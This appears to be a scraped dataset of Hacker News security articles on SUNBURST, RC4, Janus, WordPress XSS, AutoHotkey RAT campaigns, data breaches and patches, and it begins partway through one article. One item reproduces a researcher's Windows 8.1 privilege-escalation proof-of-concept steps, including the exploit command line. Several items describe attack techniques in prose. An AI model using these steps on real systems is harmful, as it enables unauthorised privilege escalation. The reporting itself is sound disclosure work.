It also serves several major US telecommunications companies, all five branches of the US Military, and other prominent government organizations such as the Pentagon, State Department, NASA, National Security Agency (NSA), Postal Service, NOAA, Department of Justice, and the Office of the President of the United States.
An Evasive Campaign to Distribute SUNBURST Backdoor
FireEye, which is tracking the ongoing intrusion campaign under the moniker ""UNC2452,"" said the supply chain attack takes advantage of trojanized SolarWinds Orion business software updates in order to distribute a backdoor called SUNBURST.
""This campaign may have begun as early as Spring 2020 and is currently ongoing,"" FireEye said in a Sunday analysis. ""Post compromise activity following this supply chain compromise has included lateral movement and data theft. The campaign is the work of a highly skilled actor and the operation was conducted with significant operational security.""
This rogue version of SolarWinds Orion plug-in, besides masquerading its network traffic as the Orion Improvement Program (OIP) protocol, is said to communicate via HTTP to remote servers so as to retrieve and execute malicious commands (""Jobs"") that cover the spyware gamut, including those for transferring files, executing files, profiling and rebooting the target system, and disabling system services.
Orion Improvement Program or OIP is chiefly used to collect performance and usage statistics data from SolarWinds users for product improvement purposes.
What's more, the IP addresses used for the campaign were obfuscated by VPN servers located in the same country as the victim to evade detection.
Microsoft also corroborated the findings in a separate analysis, stating the attack (which it calls ""Solorigate"") leveraged the trust associated with SolarWinds software to insert malicious code as part of a larger campaign.
""A malicious software class was included among many other legitimate classes and then signed with a legitimate certificate,"" the Windows maker said. The resulting binary included a backdoor and was then discreetly distributed into targeted organizations.""
SolarWinds Releases Security Advisory
In a security advisory published by SolarWinds, the company said the attack targets versions 2019.4 through 2020.2.1 of the SolarWinds Orion Platform software that was released between March and June 2020, while recommending users to upgrade to Orion Platform release 2020.2.1 HF 1 immediately.
The firm, which is currently investigating the attack in coordination with FireEye and the US Federal Bureau of Investigation, is also expected to release an additional hotfix, 2020.2.1 HF 2, on December 15, which replaces the compromised component and provides several extra security enhancements.
FireEye last week disclosed that it fell victim to a highly sophisticated foreign-government attack that compromised its software tools used to test the defenses of its customers.
Totaling as many as 60 in number, the stolen Red Team tools are a mix of publicly available tools (43%), modified versions of publicly available tools (17%), and those that were developed in-house (40%).
Furthermore, the theft also includes exploit payloads that leverage critical vulnerabilities in Pulse Secure SSL VPN (CVE-2019-11510), Microsoft Active Directory (CVE-2020-1472), Zoho ManageEngine Desktop Central (CVE-2020-10189), and Windows Remote Desktop Services (CVE-2019-0708).
The campaign, ultimately, appears to be a supply chain attack on a global scale, for FireEye said it detected this activity across several entities worldwide, spanning government, consulting, technology, telecom, and extractive firms in North America, Europe, Asia, and the Middle East.
The indicators of compromise (IoCs) and other relevant attack signatures designed to counter SUNBURST can be accessed here.

",Data_Breaches
13-year-old SSL/TLS Weakness Exposing Sensitive Data in Plain Text,https://thehackernews.com/2015/03/rc4-ssl-tls-security.html,"The most popular and widely used encryption scheme has been found to be weaker with the disclosure of a new attack that could allow attackers to steal credit card numbers, passwords and other sensitive data from transmissions protected by SSL (secure sockets layer) and TLS (transport layer security) protocols.

The attack leverages a 13-year-old weakness in the less secure Rivest Cipher 4 (RC4) encryption algorithm, which is the most commonly used stream cipher for protecting 30 percent of TLS traffic on the Internet today.

BAR-MITZVAH ATTACK
The attack, dubbed ""Bar-Mitzvah"", can be carried out even without conducting man-in-the-middle attack (MITM) between the client and the server, as in the case of most of the previous SSL hacks.

Itsik Mantin, a researcher from security firm Imperva, presented his findings in a research titled, ""Attacking SSL when using RC4"" at the Black Hat Asia security conference Thursday in Singapore.

Bar Mitzvah attack actually exploits the ""Invariance Weakness,"" the weak key pattern used in RC4 keys that can leak plain text data from the encrypted SSL/TLS traffic into the cipher text under certain conditions, potentially exposing account credentials, credit card data, or other sensitive information to hackers.

The Invariance Weakness of RC4 pseudo-random stream allows an attacker to distinguish RC4 streams from randomness and increase the probability to leak sensitive data in plain text.
""The security of RC4 [algorithm] has been questionable for many years, in particular its initialization mechanisms,"" researchers wrote in a research paper (pdf).
""However, only in recent years has this understanding begun translating into a call to retire RC4. In this research, we follow [researches on 2013 RC4] and show that the impact of the many known vulnerabilities on systems using RC4 is clearly underestimated.""
Bar Mitzvah is the first 'practical' attack on SSL that only requires passive sniffing or eavesdropping on SSL/TLS-encrypted connections, rather a man-in-the-middle attack, Mantin says. Though, researcher says MITM attack could be used as well for hijacking a session.

HOW TO PROTECT YOURSELF
While waiting for a ""broad-brush retirement of RC4,"" administrators should consider the following steps to protect themselves from RC4 weaknesses:
Web application admins should disable RC4 in their applications' TLS configurations.
Web users (particularly power users) should disable RC4 in their browser's TLS configuration.
Browser providers should consider removing RC4 from their TLS cipher lists.
Over last many years, several significant vulnerabilities including BEAST, POODLE, and CRIME, have been discovered in the SSL protocol leveraging the RC4's weakness. Though, a large number of websites on the Internet relying on RC4.

",Vulnerability
iPhone can be used as spy phone to get desktop Keystrokes,https://thehackernews.com/2011/10/iphone-can-be-used-as-spy-phone-to-get.html,"iPhone can be used as spy phone to get desktop Keystrokes
What if a hacker could log every key you typed on your PC by placing a cellphone nearby? US researchers have shown how this is possible using any smartphone available today.


At a conference in Chicago on Thursday, a group of computer researchers from Georgia Tech will report on another potential threat. The researchers have shown that the accelerometer and orientation sensor of a phone resting on a surface can be used to eavesdrop as a password is entered using a keyboard on the same surface. They were able to capture the words typed on the keyboard with as much as 80 percent accuracy.


Normally when security researchers describe spyware on smartphones, they mean malicious code that can be used to snoop on calls, or to steal the data held on mobile phones.In this case, however, researchers have described how they have put software on smartphones to spy on activity outside the phone itself - specifically to track what a user might be doing on a regular desktop keyboard nearby.


The typing detection works by ""using a smartphone accelerometer – the internal device that detects when and how the phone is tilted – to sense keyboard vibrations as you type to decipher complete sentences with up to 80% accuracy,"" according to the Institute.


""We first tried our experiments with an iPhone 3GS, and the results were difficult to read,"" said Patrick Traynor of Georgia Tech. ""But then we tried an iPhone 4, which has an added gyroscope to clean up the accelerometer noise, and the results were much better. We believe that most smartphones made in the last two years are sophisticated enough to do this attack.""

As phone technology improves, attacks via the accelerometer could become more feasible. The researchers' initial experiments used Apple's iPhone 3GS, but the phone's accelerometer lacked the necessary sensitivity. The researchers then moved to the iPhone 4, which uses a gyroscope to remove noise from the accelerometer data, and had much greater success.

""The way we see this attack working is that you, the phone's owner, would request or be asked to download an innocuous-looking application, which doesn't ask you for the use of any suspicious phone sensors,"" said Henry Carter, one of the study's co-authors . ""Then the keyboarddetection malware is turned on, and the next time you place your phone next to the keyboard , it starts listening.""

",Malware
Android Flaw Lets Hackers Inject Malware Into Apps Without Altering Signatures,https://thehackernews.com/2017/12/android-malware-signature.html,"Millions of Android devices are at serious risk of a newly disclosed critical vulnerability that allows attackers to secretly overwrite legitimate applications installed on your smartphone with their malicious versions.

Dubbed Janus, the vulnerability allows attackers to modify the code of Android apps without affecting their signature verification certificates, eventually allowing them to distribute malicious update for the legitimate apps, which looks and works same as the original apps.

The vulnerability (CVE-2017-13156) was discovered and reported to Google by security researchers from mobile security firm GuardSquare this summer and has been patched by Google, among four dozen vulnerabilities, as part of its December Android Security Bulletin.

However, the worrisome part is that majority of Android users would not receive these patches for next few month, until their device manufacturers (OEMs) release custom updates for them, apparently leaving a large number of smartphone users vulnerable to hackers.

The vulnerability affects apps using APK signature scheme v1 installed on devices running Android versions 5 (Lollipop) and 6 (Marshmallow).

Explained: How Android Janus Vulnerability Works?
The vulnerability resides in the way Android handles APK installation for some apps, leaving a possibility to add extra bytes of code to an APK file without affecting the application's signature.

Before proceeding further, you need to know some basics about an APK file.

A valid APK file is a type of archive file, just like Zip, which includes application code, resources, assets, signatures, certificates, and manifest file.

Earlier versions of Android operating system 5.0 (Lollipop) and 6.0 (Marshmallow) also support a process virtual machine that helps to execute APK archives containing a compiled version of application code and files, compressed with DEX (Dalvik EXecutable) file format.

While installing an Android app or its update, your device checks APK header information to determine if the archive contains code in the compressed DEX files.

If header says APK archive contains DEX files, the process virtual machine decompiles the code accordingly and executes it; otherwise, it runs the code as a regular APK file.

It turns out that an APK archive can contain DEX files as well as regular application code simultaneously, without affecting its validity and signatures.

Researchers find that this ability to add extra bytes of code due to lack of file integrity checking could allow attackers to prepend malicious code compiled in DEX format into an APK archive containing legitimate code with valid signatures, eventually tricking app installation process to execute both code on the targeted device without being detected.

In other words, the hack doesn't require attackers to modify the code of legitimate applications (that makes signatures invalid)—instead, the vulnerability allows malware authors to merely add some extra malicious lines of code to the original app.

Attack Scenarios

After creating malicious but valid versions of legitimate applications, hackers can distribute them using various attack vectors, including spam emails, third-party app stores delivering fake apps and updates, social engineering, and even man-in-the-middle attacks.

According to the researchers, it may be ""relatively easy to trick some users because the application can still look exactly like the original application and has the proper signature.""

I find man-in-the-middle attack more interesting, as it could allow hackers to push malicious installation for the apps designed to receive its updates over an unencrypted HTTP connection.
""When the user downloads an update of an application, the Android runtime compares its signature with the signature of the original version. If the signatures match, the Android runtime proceeds to install the update,"" GuardSquare explains.
""The updated application inherits the permissions of the original application. Attackers can, therefore, use the Janus vulnerability to mislead the update process and get an unverified code with powerful permissions installed on the devices of unsuspecting users.""
""For experts, the common reverse engineering tools do not show the injected code. Users should always be vigilant when downloading applications and updates,"" the security firm added.
Since this vulnerability does not affect Android 7 (Nougat) and latest, which supports APK signature scheme version 2, users running older Android versions are highly recommended to upgrade their device OS (if available).

It's unfortunate, but if your device manufacturer neither offers security patches nor the latest Android version, then you should not install apps and updates from outside of Google Play Store to minimise the risk of being hacked.

Researchers also advised Android developers always to apply signature scheme v2 in order to ensure their apps cannot be tampered with.

",Cyber_Attack
Millions of printers open to devastating hack attack,https://thehackernews.com/2011/11/millions-of-printers-open-to.html,"Millions of printers open to devastating hack attack
Could a hacker from half-way around the planet control your printer and give it instructions so frantic that it could eventually catch fire? Or use a hijacked printer as a copy machine for criminals, making it easy to commit identity theft or even take control of entire networks that would otherwise be secure?

It's not only possible, but likely, say researchers at Columbia University, who claim they've discovered a new class of computer security flaws that could impact millions of businesses, consumers, and even government agencies.

The researchers, who have working quietly for months in an electronics lab under a series of government and industry grants, described the flaw in a private briefing for federal agencies two weeks ago. They told Hewlett-Packard about it last week.

HP said Monday that it is still reviewing details of the vulnerability, and is unable to confirm or deny many of the researchers' claims, but generally disputes the researchers' characterization of the flaw as widespread. Keith Moore, chief technologist for HP's printer division, said the firm ""takes this very seriously,"" but his initial research suggests the likelihood that the vulnerability can be exploited in the real world is low in most cases.

""Until we verify the security issue, it is difficult to comment,"" he said, adding that the firm cannot say yet what printer models are impacted.

But the Columbia researchers say the security vulnerability is so fundamental that it may impact tens of millions of printers and other hardware that use hard-to-update ""firmware"" that's flawed.
[Read More : MSNBC]

",Vulnerability
Russian Hacker Pleads Guilty to Developing and Distributing Citadel Trojan,https://thehackernews.com/2017/03/citadel-trojan-hacker.html,"A Russian man accused of developing and distributing the Citadel Banking Trojan, which infected nearly 11 Million computers globally and caused over $500 Million in losses, has finally pleaded guilty to charges of computer fraud.

Mark Vartanyan, 29, who was very well known as ""Kolypto,"" pleaded guilty in an Atlanta courtroom on Monday to charges related to computer fraud and is now co-operating with federal prosecutors in return for a reduced sentence of no more than five years in prison.

Vartanyan, a native of Moscow, was arrested in Norway in October 2014 and extradited to the United States in December last year. He was involved in the development, improvement, maintenance and distribution of the nasty Citadel Trojan.
""This successful extradition is yet another example of how cooperation among international law enforcement partners can be used to disrupt and dismantle global cyber syndicates,"" said U.S. Attorney John Horn.
""This defendant's alleged role in developing and improving Citadel for its use by cyber criminals caused a vast amount of financial harm to individuals and institutions around the world. His appearance in federal court today shows that cyber criminals cannot hide in the shadows of the Internet. We will identify them and bring them to justice wherever they operate.""
Initially developed in 2011, Citadel Trojan – a variant of the Zeus banking Trojan – was designed to infect computer systems and steal online banking credentials and other financial information by masquerading itself as legitimate banking sites.

The offensive threat affected over 11 Million computers in at least 90 countries and estimated to have cost $500 million in losses over a three-year period.

Citadel also introduced a business model that enabled online users to solicit their feedback and then incorporate those functionalities and tweaks in the product, making the malware gain widespread popularity. It was one of the first examples of malware-as–a-service (MaaS).

Sold for up to $2,500, Citadel received regular automated updates, just like with the development of legitimate software programs, to enable the malware to avoid detection by antivirus products and other signature-based security controls.

But eventually, Citadel's source code was leaked in 2013, which helped the antivirus firms to identify and block the threat.

Vartanyan was one of many people who was involved in the development and distribution of the Citadel malware.

Another Russian hacker Dimitry Belorossov, 22, aka Rainerfox, was also arrested in September 2015 and sentenced to four years and six months in prison after pleading guilty to charges related to the distribution of Citadel and infecting over 7,000 infected machines.

Vartanyan is scheduled to be sentenced on 21 June 2017.

Despite the two arrests, the US Department of Justice (DoJ) said its investigation into the creator of Citadel malware is still ongoing, indicating that further arrests may be made.

",Cyber_Attack
Critical Vulnerabilities in Facebook and Picasa discovered by Microsoft,https://thehackernews.com/2011/07/critical-vulnerabilities-in-facebook.html,"Critical Vulnerabilities in Facebook and Picasa discovered by Microsoft
Microsoft security researchers have identified critical vulnerabilities in Facebook and Google Picase which led to account compromise and arbitrary code execution.

The bug in Picasa that the MVR team found could allow an attacker to gain complete control of a user's machine if he could entice the victim into downloading a malicious JPEG file. It's not the most complex exploitation scenario, and in the current age of people sharing, downloading, emailing and re-posting photos on a variety of platforms, it might not be too difficult for an attacker to accomplish.

""A vulnerability exists in the way that Picasa handles certain specially crafted JPEG images. An attacker could exploit this vulnerability to cause Picasa to exit unexpectedly and execute arbitrary code. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user. If a user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights,"" Microsoft said in its advisory.

The vulnerability in Facebook involves a problem with the way that the site implemented its protection against clickjacking attacks. An attacker could use the vulnerability to gain full access to a victim's account.

""A vulnerability exists in the way Facebook.com had previously implemented protection against clickjacking attacks. An attacker could exploit this vulnerability to circumvent Facebook privacy settings and expose potentially sensitive user information. An attacker who successfully exploited this vulnerability could take complete control of a user's Facebook.com account and could perform any action on behalf of the user such as read potentially sensitive data, change data, and delete contacts,"" the MVR advisory said.

UPDATE : Facebook has fixed the problem, Just after release of Advisory.

",Vulnerability
Powerful Linux Trojan 'Turla' Infected Large Number of Victims,https://thehackernews.com/2014/12/powerful-linux-trojan-turla.html,"Security researchers have discovered a highly nasty Linux trojan that has been used by cybercriminals in state sponsored attack in order to steal personal, confidential information from government institutions, military and pharmaceutical companies around the world.

A previously unknown piece of a larger puzzle called ""Turla,"" one of the most complex Advanced Persistent Threats (APTs) uncovered by researchers at Kaspersky Lab in August, remained hidden on some systems for at least four years. The malware was notable for its use of a rootkit that made it extremely hard to detect.

The German security company G Data believed that Turla campaign is linked to Russia and has in the past exploited a variety of Windows vulnerabilities, at least two of which were zero-days, to infect government institutions, embassies, military, education, research, and pharmaceutical companies in more than 45 countries.

Recently, security researchers from Moscow-based Kaspersky Lab have detected the first Turla sample targeting Linux operating system. This Linux component of malware points towards a much bigger threat than it was previously thought and it may also herald the discovery of more infected systems.
""The newly discovered Turla sample is unusual in the fact that it's the first Turla sample targeting the Linux operating system that we have discovered,"" Kaspersky researcher Kurt Baumgartner said in an advisory. ""We suspect that this component was running for years at a victim site, but do not have concrete data to support that statement just yet.""
The modules of the Linux-based Turla malware is written in C and C++ languages and contains code from previously written libraries. The malware uses hidden network communication and stripped of symbol information, which makes it hard for researchers to reverse engineer or analyze.

As a result, the Linux-based Turla trojan may have capabilities that have not yet been uncovered completely, as Baumgartner said the Linux component is a mystery even after its discovery, adding it can't be detected using the common Netstat command.

In order to hide itself, the backdoor sits inactive until hackers send it unusually crafted packets that contain ""magic numbers"" in their sequence numbers. The malware have ability to sit unnoticed on victims computers for years. The trojan contained attack functionalities including arbitrary remote command execution, incoming packet interception and remote management even though it requires no root system privileges.

Earlier this year, Kaspersky Labs researches suggested Turla as Snake, which was built on the capabilities of Agent.Biz, the worm that came to the surface in 2008 when US Department of Defense sources claimed that its classified networks had been breached by an early version of the same virus, described by officials as the ""worst breach of US military computers in history."" Uroburos rootkit was also one of the components of Snake campaign.

Agent.Biz has since been developed with many advanced features that make it even more flexible and sophisticated than before. It was thought to have inspired other nasty malware creations including Flame and Guass.

",Malware
"Adobe Releases Critical Security Updates for Acrobat, Reader and Photoshop CC",https://thehackernews.com/2018/05/adobe-security-patch-update.html,"Adobe has just released new versions of its Acrobat DC, Reader and Photoshop CC for Windows and macOS users that patch 48 vulnerabilities in its software.

A total of 47 vulnerabilities affect Adobe Acrobat and Reader applications, and one critical remote code execution flaw has been patched in Adobe Photoshop CC.

Out of 47, Adobe Acrobat and Reader affect with 24 critical vulnerabilities—categorized as Double Free, Heap Overflow, Use-after-free, Out-of-bounds write, Type Confusion, and Untrusted pointer dereference—which if exploited, could allow arbitrary code execution in the context of the targeted user.

Rest of the 23 flaws, including Security Bypass, Out-of-bounds read, Memory Corruption, NTLM SSO hash theft, and HTTP POST newline injection via XFA submission, are marked as important and can lead to information disclosure or security bypass.
The above-listed vulnerabilities impact the Windows and macOS versions of Acrobat DC (Consumer and Classic 2015), Acrobat Reader DC (Consumer and Classic 2015), Acrobat 2017, and Acrobat Reader 2017.

The latest Adobe Acrobat and Reader patches have been given a priority rating of ""1,"" which means the flaws are either being exploited in the wild or more likely to be exploited in the wild. So, users are highly recommended to update their software as soon as possible.

The flaws have been addressed in Acrobat DC and Acrobat Reader DC version 2018.011.20040, Acrobat 2017 and Acrobat Reader DC 2017 version 2017.011.30080, as well as Acrobat Reader DC (Classic 2015) and Acrobat DC (Classic 2015) version 2015.006.30418.

Security Patch for Adobe Photoshop CC

Adobe has also released security patches for the Windows and macOS versions of Photoshop CC to address a critical vulnerability, categorized as ""out-of-bounds write"" issue, which can be exploited to execute arbitrary code in the context of the current user.

The vulnerability (CVE-2018-4946) impacts Photoshop CC 2018 version 19.1.3 and earlier 19.x versions, as well as Photoshop CC 2017 version 18.1.3 and earlier 18.x versions.

The company credited researcher Giwan Go of Trend Micro's Zero Day Initiative for reporting the flaw, which has been addressed with the release of Photoshop CC 2018 version 19.1.4 and Photoshop CC 2017 version 18.1.4.

This update has been given a priority rating of ""3,"" which means the attackers have not targeted the vulnerability.

Adobe recommends end users and administrators to install the latest security updates as soon as possible.

",Vulnerability
Massive Breach Exposes Keyboard App that Collects Personal Data On Its 31 Million Users,https://thehackernews.com/2017/12/keyboard-data-breach.html,"In the digital age, one of the most popular sayings is—if you're not paying, then you're not the customer, you're the product.

While downloading apps on their smartphones, most users may not realize how much data they collect on you.

Believe me; it's way more than you can imagine.

Nowadays, many app developers are following irresponsible practices that are worth understanding, and we don't have a better example than this newly-reported incident about a virtual keyboard app.

A team of security researchers at the Kromtech Security Center has discovered a massive trove of personal data belonging to more than 31 million users of the popular virtual keyboard app, AI.type, accidentally leaked online for anyone to download without requiring any password.

Founded in 2010, Ai.type is a customizable and personalizable on-screen keyboard for mobile phones and tablets, with more than 40 million users worldwide.

Apparently, a misconfigured MongoDB database, owned by the Tel Aviv-based startup AI.type, exposed their entire 577 GB of the database online that includes a shocking amount of sensitive details on their users, which is not even necessary for the app to work.

""...they appear to collect everything from contacts to keystrokes.""

The leaked database of over 31 million users includes:

Full name, phone number, and email address
Device name, screen resolution and model details
Android version, IMSI number, and IMEI number
Mobile network name, country of residence and even user enabled languages
IP address (if available), along with GPS location (longitude/latitude).
Links and the information associated with the social media profiles, including birth date, emails, photos.

""When researchers installed Ai.Type they were shocked to discover that users must allow 'Full Access' to all of their data stored on the testing iPhone, including all keyboard data past and present,"" the researchers say.

What's more?

Moreover, the leaked database also reveals that the virtual keyboard app is also stealing users' contact books, including the contacts' names and phone numbers—and already scraped more than 373 million records.

""There was a range of other statistics like the most popular users' Google queries for different regions. Data like average messages per day, words per message, the age of users, words_per_day': 0.0, 'word_per_session and a detailed look at their customers,"" the researchers say.

Researchers go on to raise a question that ""why would like a keyboard, and emoji application need to gather the entire data of the user's phone or tablet?""

Even the recent data breaches have taught us that once our personal data gets in the hands of cybercriminals, it makes us vulnerable forever.

Therefore, the best defense to protect yourself is always—awareness.

",Data_Breaches
Google Researcher Reveals Zero-Day Windows 8.1 Vulnerability,https://thehackernews.com/2015/01/google-researcher-reveals-zero-day_2.html,"A Google security researcher, 'James Forshaw' has discovered a privilege escalation vulnerability in Windows 8.1 that could allow a hacker to modify contents or even to take over victims' computers completely, leaving millions of users vulnerable.

The researcher also provided a Proof of Concept (PoC) program for the vulnerability. Forshaw says that he has tested the PoC only on an updated Windows 8.1 and that it is unclear whether earlier versions, specifically Windows 7, are vulnerable.

Forshaw unearthed the bug in September 2014 and thereby notified on the Google Security Research mailing list about the bug on 30th September. Now, after 90 days disclosure deadline the vulnerability and Proof of Concept program was made public on Wednesday.

The vulnerability resides in the function AhcVerifyAdminContext, an internal function and not a public API which actually checks whether the user is an administrator.
""This function has a vulnerability where it doesn't correctly check the impersonation token of the caller to determine if the user is an administrator,"" Forshaw wrote in the mailing list. ""It reads the caller's impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem's SID.""
""It doesn't check the impersonation level of the token so it's possible to get an identify token on your thread from a local system process and bypass this check. For this purpose the PoC abuses the BITS service and COM to get the impersonation token but there are probably other ways.""
The PoC contains two program files and some set of instructions for executing the files which, if successful, finally result in the Windows calculator running as an Administrator. According to the researcher, the vulnerability is not in Windows User Account Control (UAC) itself, but UAC is used in part to demonstrate the bug.

Forshaw tested the PoC on Windows 8.1 update, both 32 bit and 64 bit versions, and he recommended users to run the PoC on 32 bit. To verify perform the following steps:
Put the AppCompatCache.exe and Testdll.dll on disk
Ensure that UAC is enabled, the current user is a split-token admin and the UAC setting is the default (no prompt for specific executables).
Execute AppCompatCache from the command prompt with the command line ""AppCompatCache.exe c:\windows\system32\ComputerDefaults.exe testdll.dll"".
If successful then the calculator should appear running as an administrator. If it doesn't work first time (and you get the ComputerDefaults program) re-run the exploit from 3, there seems to be a caching/timing issue sometimes on first run.
A Microsoft spokesperson confirms the vulnerability and says that it's already working on a fix:
""We are working to release a security update to address an Elevation of Privilege issue. It is important to note that for a would-be attacker to potentially exploit a system, they would first need to have valid logon credentials and be able to log on locally to a targeted machine. We encourage customers to keep their anti-virus software up to date, install all available Security Updates and enable the firewall on their computer.""
At the time of posting this article, there's no patch available and all Windows 8.1 systems are vulnerable to hackers.

",Vulnerability
Experts Warn About Ongoing AutoHotkey-Based Malware Attacks,https://thehackernews.com/2021/05/experts-warn-about-ongoing-autohotkey.html,"Cybersecurity researchers have uncovered an ongoing malware campaign that heavily relies on AutoHotkey (AHK) scripting language to deliver multiple remote access trojans (RAT) such as Revenge RAT, LimeRAT, AsyncRAT, Houdini, and Vjw0rm on target Windows systems.
At least four different versions of the campaign have been spotted starting February 2021, according to researchers from Morphisec Labs.
""The RAT delivery campaign starts from an AutoHotKey (AHK) compiled script,"" the researchers noted. ""This is a standalone executable that contains the following: the AHK interpreter, the AHK script, and any files it has incorporated via the FileInstall command. In this campaign, the attackers incorporate malicious scripts/executables alongside a legitimate application to disguise their intentions.""
AutoHotkey is an open-source custom scripting language for Microsoft Windows that's meant to provide easy hotkeys for macro-creation and software automation, enabling users to automate repetitive tasks in any Windows application.
Regardless of the attack chain, the infection begins with an AHK executable that proceeds to drop and execute different VBScripts that eventually load the RAT on the compromised machine. In one variant of the attack first detected on March 31, the adversary behind the campaign encapsulated the dropped RAT with an AHK executable, in addition to disabling Microsoft Defender by deploying a Batch script and a shortcut (.LNK) file pointing to that script.
A second version of the malware was found to block connections to popular antivirus solutions by tampering with the victim's hosts file. ""This manipulation denies the DNS resolution for those domains by resolving the localhost IP address instead of the real one,"" the researchers explained.
In a similar vein, another loader chain observed on April 26 involved delivering the LimeRAT via an obfuscated VBScript, which is then decoded into a PowerShell command that retrieves a C# payload containing the final-stage executable from a Pastebin-like sharing platform service called ""stikked.ch.""
Lastly, a fourth attack chain discovered on April 21 used an AHK script to execute a legitimate application, before dropping a VBScript that runs an in-memory PowerShell script to fetch the HCrypt malware loader and install AsyncRAT.
Morphisec researchers attributed all the different attack chains to the same threat actor, citing similarities in the AHK script and overlaps in the techniques used to disable Microsoft Defender.
""As threat actors study baseline security controls like emulators, antivirus, and UAC, they develop techniques to bypass and evade them,"" the researchers said. ""The technique changes detailed in this report did not affect the impact of these campaigns. The tactical goals remained the same. Rather, the technique changes were to bypass passive security controls. A common denominator among these evasive techniques is the abuse of process memory because it's typically a static and predictable target for the adversary.""
This is not the first time adversaries have abused AutoHotkey to drop malware. In December 2020, Trend Micro researchers uncovered a credential stealer written in AutoHotkey scripting language that singled out financial institutions in the U.S. and Canada.

",Malware
Hacking WordPress Website with Just a Single Comment,https://thehackernews.com/2015/04/WordPress-vulnerability.html,"Most of the time, we have reported about WordPress vulnerabilities involving vulnerable plugins, but this time a Finnish security researcher has discovered a critical zero-day vulnerability in the core engine of the WordPress content management system.

Yes, you heard it right. The WordPress CMS used by Millions of website is vulnerable to a zero-day flaw that could allow hackers to remote code execution on the Web server in order to take full control of it.

The vulnerability, found by Jouko Pynnönen of Finland-based security firm Klikki Oy, is a Cross-Site Scripting (XSS) flaw buried deep into the WordPress' comments system.

The vulnerability affects the WordPress versions 3.9.3, 4.1.1, 4.1.2, and the latest WordPress version 4.2.

Pynnönen disclosed the details of the zero-day flaw, along with a video and a proof-of-concept code for an exploit of the bug, on his blog post on Sunday before the WordPress team could manage to release a patch.

Why the researcher made the 0-Day Public?

A similar cross-site-scripting (XSS) vulnerability was patched this week by WordPress developers, which was nearly 14 months after the bug was reported to the team.

Due to fear of delay in fixing this hole, Pynnönen went public with the details of critical zero-day vulnerability in WordPress 4.2 and below, so that the users of the popular content management system could be warned beforehand.

Moreover, Pynnonen reported the vulnerability to the WordPress team but they ""refused all communication attempts"" he made since November 2014.

The exploitation of the 0-Day vulnerability:

The vulnerability allows a hacker to inject malicious JavaScript code into the comments section that appears at the bottom of Millions of WordPress blogs or article posts worldwide. However, this action should be blocked under ordinary circumstances.

This could allow hackers to change passwords, add new administrators, or take other actions that could only be performed by the legitimate administrator of the website. This is what we call a cross-site scripting attack.

Video Demonstration of the attack:

You can watch the video demonstration below which shows an attack in action:

Pynnonen described the 0-day flaw as below:
""If triggered by a logged-in administrator, under default settings the attacker can leverage the vulnerability to execute arbitrary code on the server via the plugin and theme editors,"" Pynnönen wrote in a blog post published Sunday evening.
""Alternatively the attacker could change the administrator's password, create new administrator accounts, or do whatever else the currently logged-in administrator can do on the target system.""
How the 0-Day exploit works?

The zero-day exploit provided by the researcher works by posting a simple JavaScript code as a comment and then adding as long as 66,000 characters or over 64 KB in size.

When the comment is processed by someone with WordPress admin rights to the website, the malicious code will be executed without giving any indication to the admin.

By default, WordPress does not automatically publish a user's comment to a post until and unless the user has been approved by the administrator of the site.

Hackers can bypass this limitation by fooling the administrator with their benign first comment, which once approved would enable any further malicious comments from that person to be automatically approved and published to the same post.

WordPress patches the 0-Day flaw:

In order to fix the security hole, administrators should upgrade their CMS to Wordpress 4.2.1, which was released few hours ago.

""This is a critical security release for all previous versions and we strongly encourage you to update your sites immediately,"" the WordPress team said of the latest version.

WordPress version 4.2.1 reportedly fixes the zero-day vulnerability reported by Pynnonen. So if you own a WordPress website, make sure that you run an updated version of the CMS with all the plugins up-to-date.

",Vulnerability
"100,000 Refrigerators and other home appliances hacked to perform cyber attack",https://thehackernews.com/2014/01/100000-refrigerators-and-other-home.html,"Have you given shed to Zombies in your house? No???? May be you have no idea about it. After Computers, Servers, Routers, Mobiles, Tablets…. Now its turn of your home appliances to be a weapon or a victim of cyber war.

Recently Security Researchers from Proofpoint found more than 100,000 Smart TVs, Refrigerator, and other smart household appliances compromised by hackers to send out 750,000 malicious spam emails.

As the 'Internet of Things' becoming smart and popular it became an easy weapon for cyber criminals to launch large scale of cyber attacks.
""The attack that Proofpoint observed and profiled occurred between December 23, 2013 and January 6, 2014, and featured waves of malicious email, typically sent in bursts of 100,000, three times per day, targeting Enterprises and individuals worldwide.""
Previously, such attacks were only drafted theoretically by researchers, but this is the first such proven attack involved smart household appliances that are used as 'thingBots'- Thing Robots.
Like your personal computers can be unknowingly compromised to built a huge botnet network that can be used to launch cyber attacks, in the similar way your Smart Household Appliances and other components of the ""Internet of Things"" can be transformed into slaves by the cyber criminals.

The worst thing with these smart appliances is that it can be easily approached by cyber criminals due to its 24 hour availability on the Internet with an add-on of poorly protected Internet environment i.e. Poor misconfiguration and the use of default passwords.
More than 25 percent of the volume was sent by things that were not conventional laptops, desktop computers or mobile devices; instead, the emails were sent by everyday consumer gadgets such as compromised home-networking routers, connected multi-media centers, televisions and at least one refrigerator. No more than 10 emails were initiated from any single IP address, making the attack difficult to block based on location -- and in many cases, the devices had not been subject to a sophisticated compromise; instead, misconfiguration and the use of default passwords left the devices completely exposed on public networks, available for takeover and use.""
Now it seems that we have 100's of cyber weapon in our home or in another way 100's of vulnerable dynamites living with us.

This time it has been just a spam mail attack, but answer me.. How much damage could a group of well-trained hackers do, economic and otherwise, if they really wanted to? Reply us your views in the comment box (below). Stay with us, Stay Safe!

",Cyber_Attack
BlackBerry Enterprise Servers vulnerable to TIFF Image based Exploit,https://thehackernews.com/2013/02/blackberry-enterprise-servers.html,"If you are a BlackBerry Enterprise Network user, here is something you need to be careful about. BlackBerry Enterprise Server (BES) users have been warned that an image-based exploit could allow hackers to access and execute code on the servers used to support corporate users of BlackBerry smartphones.

The flaw that been rated as high severity and actual vulnerability in BlackBerry Enterprise Servers resulted from how the server processes image files.


Scenario to Exploit Vulnerability : A malicious person writes a special code and then embeds it in a TIFF image file. The person then convinces a Blackberry smart phone user (whose phone is connected to a corporate BES) to view the TIFF file.

As soon as the image file loads on the phone, the code runs on the Blackberry Enterprise server and either opens up a back door in the network or causes the network to crash altogether as instructed in the basic code.

""RIM is not aware of any attacks on or specifically targeting BlackBerry Enterprise Server customers, and recommends that affected customers update to the latest available software version to be fully protected from these vulnerabilities."" Blackberry said.

